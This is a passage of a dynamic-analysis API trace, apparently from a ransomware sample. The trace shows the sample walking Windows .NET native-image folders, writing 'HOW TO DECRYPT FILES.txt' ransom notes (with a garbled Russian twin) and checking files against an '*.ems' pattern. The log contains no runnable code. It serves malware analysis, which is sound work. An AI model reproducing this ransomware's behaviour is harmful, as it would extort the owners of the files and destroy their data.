"c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.servicemodel\\ac74a0642981011a441823a762bfb3d8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.792] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.792] CloseHandle (hObject=0x90) returned 1 [0112.792] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\", lpString2="System.ServiceModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\System.ServiceModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\System.ServiceModel.ni.dll" [0112.792] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\System.ServiceModel.ni.dll", pszSpec="*.ems") returned 0 [0112.793] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4e597d1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd4e597d1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd50e0f36, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x16ce600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.793] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.793] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd544cedc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd544cedc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ac74a0642981011a441823a762bfb3d8", cAlternateFileName="AC74A0~1")) returned 0 [0112.793] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.793] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1afa7b43, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1afa7b43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ServiceModel#", cAlternateFileName="SY1F37~1.SER")) returned 1 [0112.794] lstrcmpA (lpString1=".", lpString2="System.ServiceModel#") returned -1 [0112.794] lstrcmpA (lpString1="..", lpString2="System.ServiceModel#") returned -1 [0112.794] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.794] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.ServiceModel#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#" [0112.794] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1afa7b43, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1afa7b43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.794] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.794] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1afa7b43, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1afa7b43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.794] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.794] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.794] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1afa7b43, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1afa7b43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bde9665f643d6e82b36b401d38f07fc8", cAlternateFileName="BDE966~1")) returned 1 [0112.794] lstrcmpA (lpString1=".", lpString2="bde9665f643d6e82b36b401d38f07fc8") returned -1 [0112.794] lstrcmpA (lpString1="..", lpString2="bde9665f643d6e82b36b401d38f07fc8") returned -1 [0112.794] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\*.*") returned="*.*" [0112.794] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\", lpString2="bde9665f643d6e82b36b401d38f07fc8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8" [0112.794] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1afa7b43, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1afa7b43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.795] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.795] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1afa7b43, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1afa7b43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.795] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.795] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.795] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aee9461, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1aee9461, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1af0f5c2, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x234a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.795] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.795] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0112.795] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0112.795] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0112.795] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\*.*") returned="*.*" [0112.795] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\" [0112.795] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\") returned="" [0112.795] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\HOW TO DECRYPT FILES.txt" [0112.795] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.servicemodel#\\bde9665f643d6e82b36b401d38f07fc8\\how to decrypt files.txt")) returned 0xffffffff [0112.795] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.servicemodel#\\bde9665f643d6e82b36b401d38f07fc8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.797] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.797] CloseHandle (hObject=0x90) returned 1 [0112.797] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\", lpString2="System.ServiceModel.Web.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\System.ServiceModel.Web.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\System.ServiceModel.Web.ni.dll" [0112.797] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\System.ServiceModel.Web.ni.dll", pszSpec="*.ems") returned 0 [0112.797] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aee9461, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1aee9461, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1af0f5c2, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x234a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.797] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.797] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1afa7b43, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1afa7b43, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bde9665f643d6e82b36b401d38f07fc8", cAlternateFileName="BDE966~1")) returned 0 [0112.798] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.798] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafead730, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafead730, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ServiceProce#", cAlternateFileName="SYSTEM~3.SER")) returned 1 [0112.798] lstrcmpA (lpString1=".", lpString2="System.ServiceProce#") returned -1 [0112.798] lstrcmpA (lpString1="..", lpString2="System.ServiceProce#") returned -1 [0112.798] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.798] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.ServiceProce#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#" [0112.798] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafead730, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafead730, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.798] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.798] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafead730, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafead730, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.798] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.798] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.798] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafead730, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafead730, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="df4cc33bfe326b259eeef086451a2528", cAlternateFileName="DF4CC3~1")) returned 1 [0112.798] lstrcmpA (lpString1=".", lpString2="df4cc33bfe326b259eeef086451a2528") returned -1 [0112.798] lstrcmpA (lpString1="..", lpString2="df4cc33bfe326b259eeef086451a2528") returned -1 [0112.798] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\*.*") returned="*.*" [0112.798] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\", lpString2="df4cc33bfe326b259eeef086451a2528" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528" [0112.798] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafead730, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafead730, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.799] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.799] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafead730, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafead730, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.799] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.799] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.799] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe3b30f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafe3b30f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafe6146f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x48200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceProcess.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.800] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.800] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceProcess.ni.dll") returned -1 [0112.800] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceProcess.ni.dll") returned -1 [0112.800] lstrcmpiA (lpString1="", lpString2="System.ServiceProcess.ni.dll") returned -1 [0112.800] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\*.*") returned="*.*" [0112.800] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\" [0112.800] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\") returned="" [0112.800] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\HOW TO DECRYPT FILES.txt" [0112.800] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.serviceproce#\\df4cc33bfe326b259eeef086451a2528\\how to decrypt files.txt")) returned 0xffffffff [0112.800] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.serviceproce#\\df4cc33bfe326b259eeef086451a2528\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.802] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.802] CloseHandle (hObject=0x90) returned 1 [0112.802] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\", lpString2="System.ServiceProcess.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\System.ServiceProcess.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\System.ServiceProcess.ni.dll" [0112.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\System.ServiceProcess.ni.dll", pszSpec="*.ems") returned 0 [0112.803] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe3b30f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafe3b30f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafe6146f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x48200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceProcess.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.803] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.803] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xafead730, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xafead730, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="df4cc33bfe326b259eeef086451a2528", cAlternateFileName="DF4CC3~1")) returned 0 [0112.803] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.803] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x237300dc, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x237300dc, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Speech", cAlternateFileName="SYSTEM~1.SPE")) returned 1 [0112.803] lstrcmpA (lpString1=".", lpString2="System.Speech") returned -1 [0112.803] lstrcmpA (lpString1="..", lpString2="System.Speech") returned -1 [0112.803] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.803] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Speech" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech" [0112.803] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x237300dc, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x237300dc, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.803] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.804] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x237300dc, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x237300dc, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.804] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.804] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.804] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, 